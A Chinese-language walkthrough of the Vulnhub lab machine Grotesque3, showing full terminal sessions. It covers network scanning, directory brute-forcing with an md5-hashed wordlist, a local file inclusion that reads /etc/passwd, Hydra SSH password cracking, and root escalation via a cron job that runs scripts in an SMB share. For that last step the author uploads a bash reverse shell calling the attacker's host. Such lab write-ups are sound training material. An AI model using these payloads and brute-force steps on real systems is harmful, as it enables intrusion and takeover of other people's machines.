Grotesque3
识别目标主机IP地址
- ─(kali㉿kali)-[~/Desktop/Vulnhub/grotesque3]
- └─$ sudo netdiscover -i eth1 -r 192.168.56.0/24
- Currently scanning: 192.168.56.0/24 | Screen View: Unique Hosts
- 3 Captured ARP Req/Rep packets, from 3 hosts. Total size: 180
- _____________________________________________________________________________
- IP At MAC Address Count Len MAC Vendor / Hostname
- -----------------------------------------------------------------------------
- 192.168.56.1 0a:00:27:00:00:11 1 60 Unknown vendor
- 192.168.56.100 08:00:27:a8:8b:04 1 60 PCS Systemtechnik GmbH
- 192.168.56.156 08:00:27:de:25:1a 1 60 PCS Systemtechnik GmbH
复制代码 利用Kali Linux的netdiscover工具识别目标主机的IP地址为192.168.56.156
NMAP扫描
- ┌──(kali㉿kali)-[~/Desktop/Vulnhub/grotesque3]
- └─$ sudo nmap -sS -sV -sC -p- 192.168.56.156 -oN nmap_full_scan
- Starting Nmap 7.92 ( https://nmap.org ) at 2023-04-26 22:34 EDT
- Nmap scan report for bogon (192.168.56.156)
- Host is up (0.0013s latency).
- Not shown: 65533 filtered tcp ports (no-response)
- PORT STATE SERVICE VERSION
- 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
- | ssh-hostkey:
- | 2048 6a:fe:d6:17:23:cb:90:79:2b:b1:2d:37:53:97:46:58 (RSA)
- | 256 5b:c4:68:d1:89:59:d7:48:b0:96:f3:11:87:1c:08:ac (ECDSA)
- |_ 256 61:39:66:88:1d:8f:f1:d0:40:61:1e:99:c5:1a:1f:f4 (ED25519)
- 80/tcp open http Apache httpd 2.4.38 ((Debian))
- |_http-title: Site doesn't have a title (text/html).
- |_http-server-header: Apache/2.4.38 (Debian)
- MAC Address: 08:00:27:DE:25:1A (Oracle VirtualBox virtual NIC)
- Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
- Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
- Nmap done: 1 IP address (1 host up) scanned in 121.48 seconds
复制代码 NMAP扫描结果表明目标主机有2个开放端口:22(ssh)、80(http)
获得Shell
浏览器访问80端口,返回页面图片中有提示md5?
可能指的是目录字典需要md5加密?- (kali㉿kali)-[~/Desktop/Vulnhub/grotesque3]
- └─$ for each in $(cat /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt );do echo $each | md5sum >> dirmd5.txt;done
复制代码 然后去掉每行结果的'-'- $ sed -i 's/-//' dirmd5.txt
复制代码 然后删除空格:- (kali㉿kali)-[~/Desktop/Vulnhub/grotesque3]
- └─$ sed -e 's/[[:blank:]]\+$//' -i dirmd5.txt
复制代码- ┌──(kali㉿kali)-[~/Desktop/Vulnhub/grotesque3]
- └─$ gobuster dir -u http://192.168.56.156 -w dirmd5.txt -x .php,.html,.txt,.sh,.js,.bak
- ===============================================================
- Gobuster v3.5
- by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
- ===============================================================
- [+] Url: http://192.168.56.156
- [+] Method: GET
- [+] Threads: 10
- [+] Wordlist: dirmd5.txt
- [+] Negative Status codes: 404
- [+] User Agent: gobuster/3.5
- [+] Extensions: txt,sh,js,bak,php,html
- [+] Timeout: 10s
- ===============================================================
- 2023/04/26 23:23:45 Starting gobuster in directory enumeration mode
- ===============================================================
- /f66b22bf020334b04c7d0d3eb5010391.php (Status: 200) [Size: 0]
复制代码 利用gobuster工具发现了文件
但是访问该文件,返回为空,做一下FUZZ测试(模糊测试)- ┌──(kali㉿kali)-[~/Desktop/Vulnhub/grotesque3]
- └─$ wfuzz -c -u 'http://192.168.56.156/f66b22bf020334b04c7d0d3eb5010391.php?FUZZ=../../../../../etc/passwd' -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --hw 0
- /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
- ********************************************************
- * Wfuzz 3.1.0 - The Web Fuzzer *
- ********************************************************
- Target: http://192.168.56.156/f66b22bf020334b04c7d0d3eb5010391.php?FUZZ=../../../../../etc/passwd
- Total requests: 220560
- =====================================================================
- ID Response Lines Word Chars Payload
- =====================================================================
- 000017563: 200 27 L 40 W 1457 Ch "purpose"
复制代码- ┌──(kali㉿kali)-[~/Desktop/Vulnhub/grotesque3]
- └─$ curl http://192.168.56.156/f66b22bf020334b04c7d0d3eb5010391.php?purpose=../../../../etc/passwd
- root:x:0:0:root:/root:/bin/bash
- daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
- bin:x:2:2:bin:/bin:/usr/sbin/nologin
- sys:x:3:3:sys:/dev:/usr/sbin/nologin
- sync:x:4:65534:sync:/bin:/bin/sync
- games:x:5:60:games:/usr/games:/usr/sbin/nologin
- man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
- lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
- mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
- news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
- uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
- proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
- www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
- backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
- list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
- irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
- gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
- nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
- _apt:x:100:65534::/nonexistent:/usr/sbin/nologin
- systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
- systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
- systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
- messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
- sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
- freddie:x:1000:1000:freddie,,,:/home/freddie:/bin/bash
- systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
- mysql:x:106:112:MySQL Server,,,:/nonexistent:/bin/false
复制代码 经过测试,目标存在本地文件包含漏洞。接下里的目标是得到shell,先看下是否有SSH私钥文件- ──(kali㉿kali)-[~/Desktop/Vulnhub/grotesque3]
- └─$ curl http://192.168.56.156/f66b22bf020334b04c7d0d3eb5010391.php?purpose=../../../../home/freddie/.ssh/id_rsa
复制代码 没有内容返回,表明目标用户freddie不存在SSH私钥文件,接下来看是否存在远程文件包含
在Kali Linux上启动http.server,然后浏览器访问:- http://192.168.56.156/f66b22bf020334b04c7d0d3eb5010391.php?purpose=http://192.168.56.230:8000/test.txt
复制代码 经测试,目标不存在远程文件包含漏洞。
那看下是否可以破解用户freddie的ssh密码- ──(kali㉿kali)-[~/Desktop/Vulnhub/grotesque3]
- └─$ hydra -l freddie -P /usr/share/wordlists/rockyou.txt ssh://192.168.56.156
- Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
复制代码 运行了15分钟仍然没有破解出来。
密码字典应该用之前的得到md5运算后的字典。- ──(kali㉿kali)-[~/Desktop/Vulnhub/grotesque3]
- └─$ hydra -l freddie -P dirmd5.txt ssh://192.168.56.156
- Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
- Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-04-27 03:00:28
- [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
- [WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
- [DATA] max 16 tasks per 1 server, overall 16 tasks, 433752 login tries (l:1/p:433752), ~27110 tries per task
- [DATA] attacking ssh://192.168.56.156:22/
- [STATUS] 145.00 tries/min, 145 tries in 00:01h, 433610 to do in 49:51h, 13 active
- [STATUS] 92.00 tries/min, 276 tries in 00:03h, 433479 to do in 78:32h, 13 active
- [STATUS] 85.86 tries/min, 601 tries in 00:07h, 433154 to do in 84:06h, 13 active
- [STATUS] 83.60 tries/min, 1254 tries in 00:15h, 432501 to do in 86:14h, 13 active
- [22][ssh] host: 192.168.56.156 login: freddie password: 61a4e3e60c063d1e472dd780f64e6cad
- 1 of 1 target successfully completed, 1 valid password found
- [WARNING] Writing restore file because 3 final worker threads did not complete until end.
- [ERROR] 3 targets did not resolve or could not be connected
- [ERROR] 0 target did not complete
- Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-04-27 03:29:04
复制代码 得到了用户freddie的密码- ┌──(kali㉿kali)-[~/Desktop/Vulnhub/grotesque3]
- └─$ ssh freddie@192.168.56.156
- The authenticity of host '192.168.56.156 (192.168.56.156)' can't be established.
- ED25519 key fingerprint is SHA256:P07e9iTTwbyQae7lGtYu8i4toAyBfYkXY9/kw/dyv/4.
- This key is not known by any other names
- Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
- Warning: Permanently added '192.168.56.156' (ED25519) to the list of known hosts.
- freddie@192.168.56.156's password:
- Linux grotesque 4.19.0-13-amd64 #1 SMP Debian 4.19.160-2 (2020-11-28) x86_64
- The programs included with the Debian GNU/Linux system are free software;
- the exact distribution terms for each program are described in the
- individual files in /usr/share/doc/*/copyright.
- Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
- permitted by applicable law.
- freddie@grotesque:~$ id
- uid=1000(freddie) gid=1000(freddie) groups=1000(freddie),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev)
- freddie@grotesque:~$ sudo -l
- -bash: sudo: command not found
- freddie@grotesque:~$ ls -alh
- total 20K
- drwxr-xr-x 4 freddie freddie 4.0K Apr 26 23:41 .
- drwxr-xr-x 3 root root 4.0K Dec 17 2020 ..
- drwx------ 3 freddie freddie 4.0K Apr 26 23:41 .gnupg
- drwx------ 2 freddie freddie 4.0K Jul 11 2021 .ssh
- -r-x------ 1 freddie freddie 32 Jul 11 2021 user.txt
- freddie@grotesque:~$ cat user.txt
- 35A7EB682E33E89606102A883596A880
复制代码 提权
- [/code]pspy是一个[url=https://www.kitploit.com/search/label/Command%20Line]命令行工具[/url],它可以在没有Root权限的情况下,监控Linux进程。将pspy64上传到目标主机/tmp目录,修改权限,执行pspy64
- 其中有一行:
- [code]2023/04/27 00:38:01 CMD: UID=0 PID=3858 | /bin/sh -c bash /smbshare/*
复制代码 似乎root会执行/smbshare下的脚本,用ss命令看一下端口- freddie@grotesque:/tmp$ ss -tunlp
- Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port
- udp UNCONN 0 0 0.0.0.0:68 0.0.0.0:*
- udp UNCONN 0 0 192.168.56.255:137 0.0.0.0:*
- udp UNCONN 0 0 192.168.56.156:137 0.0.0.0:*
- udp UNCONN 0 0 0.0.0.0:137 0.0.0.0:*
- udp UNCONN 0 0 192.168.56.255:138 0.0.0.0:*
- udp UNCONN 0 0 192.168.56.156:138 0.0.0.0:*
- udp UNCONN 0 0 0.0.0.0:138 0.0.0.0:*
- tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
- tcp LISTEN 0 50 0.0.0.0:445 0.0.0.0:*
- tcp LISTEN 0 80 127.0.0.1:3306 0.0.0.0:*
- tcp LISTEN 0 50 0.0.0.0:139 0.0.0.0:*
- tcp LISTEN 0 128 *:80 *:*
- tcp LISTEN 0 50 [::]:445 [::]:*
- tcp LISTEN 0 50 [::]:139 [::]:*
复制代码 可以看到目标确实有SMB协议- freddie@grotesque:/tmp$ smbclient -L 127.0.0.1
- Unable to initialize messaging context
- Enter WORKGROUP\freddie's password:
- Sharename Type Comment
- --------- ---- -------
- print$ Disk Printer Drivers
- grotesque Disk grotesque
- IPC$ IPC IPC Service (Samba 4.9.5-Debian)
- Reconnecting with SMB1 for workgroup listing.
- Server Comment
- --------- -------
- Workgroup Master
- --------- -------
- WORKGROUP GROTESQUE
- freddie@grotesque:/tmp$ smbclient //127.0.0.1/grotesque
- Unable to initialize messaging context
- Enter WORKGROUP\freddie's password:
- Try "help" to get a list of possible commands.
- smb: \> ls
- . D 0 Sun Jul 11 09:24:27 2021
- .. D 0 Sun Jul 11 09:20:30 2021
- 1942736 blocks of size 1024. 674116 blocks available
- smb: \>
复制代码 所以可以上传shell脚本到上述共享目录- ┌──(kali㉿kali)-[~/Desktop/Vulnhub/grotesque3]
- └─$ cat escalate.sh
- #!/bin/bash
- bash -i >& /dev/tcp/192.168.56.230/6666 0>&1
复制代码- freddie@grotesque:/tmp$ wget http://192.168.56.230:8000/escalate.sh
- --2023-04-27 00:45:19-- http://192.168.56.230:8000/escalate.sh
- Connecting to 192.168.56.230:8000... connected.
- HTTP request sent, awaiting response... 200 OK
- Length: 57 [text/x-sh]
- Saving to: ‘escalate.sh’
- escalate.sh 100%[============================================================================>] 57 --.-KB/s in 0s
- 2023-04-27 00:45:19 (11.9 MB/s) - ‘escalate.sh’ saved [57/57]
- freddie@grotesque:/tmp$ chmod +x escalate.sh
- freddie@grotesque:/tmp$ smbclient //127.0.0.1/grotesque
- Unable to initialize messaging context
- Enter WORKGROUP\freddie's password:
- Try "help" to get a list of possible commands.
- smb: \> put escalate.sh
- putting file escalate.sh as \escalate.sh (0.4 kb/s) (average 0.4 kb/s)
- smb: \> ls
- . D 0 Thu Apr 27 00:46:08 2023
- .. D 0 Sun Jul 11 09:20:30 2021
- escalate.sh A 57 Thu Apr 27 00:46:08 2023
- 1942736 blocks of size 1024. 674112 blocks available
- smb: \>
复制代码- ┌──(kali㉿kali)-[~/Desktop/Vulnhub/grotesque3]
- └─$ sudo nc -nlvp 6666
- [sudo] password for kali:
- listening on [any] 6666 ...
- connect to [192.168.56.230] from (UNKNOWN) [192.168.56.156] 59614
- bash: cannot set terminal process group (3986): Inappropriate ioctl for device
- bash: no job control in this shell
- root@grotesque:~# id
- id
- uid=0(root) gid=0(root) groups=0(root)
- root@grotesque:~# cd /root
- cd /root
- root@grotesque:~# ls -alh
- ls -alh
- total 16K
- drwx------ 2 root root 4.0K Jul 11 2021 .
- drwxr-xr-x 19 root root 4.0K Jul 11 2021 ..
- -rw------- 1 root root 42 Jul 11 2021 .bash_history
- -r-x------ 1 root root 32 Jul 11 2021 root.txt
- root@grotesque:~# cat root.txt
- cat root.txt
- 5C42D6BB0EE9CE4CB7E7349652C45C4Aroot@grotesque:~#
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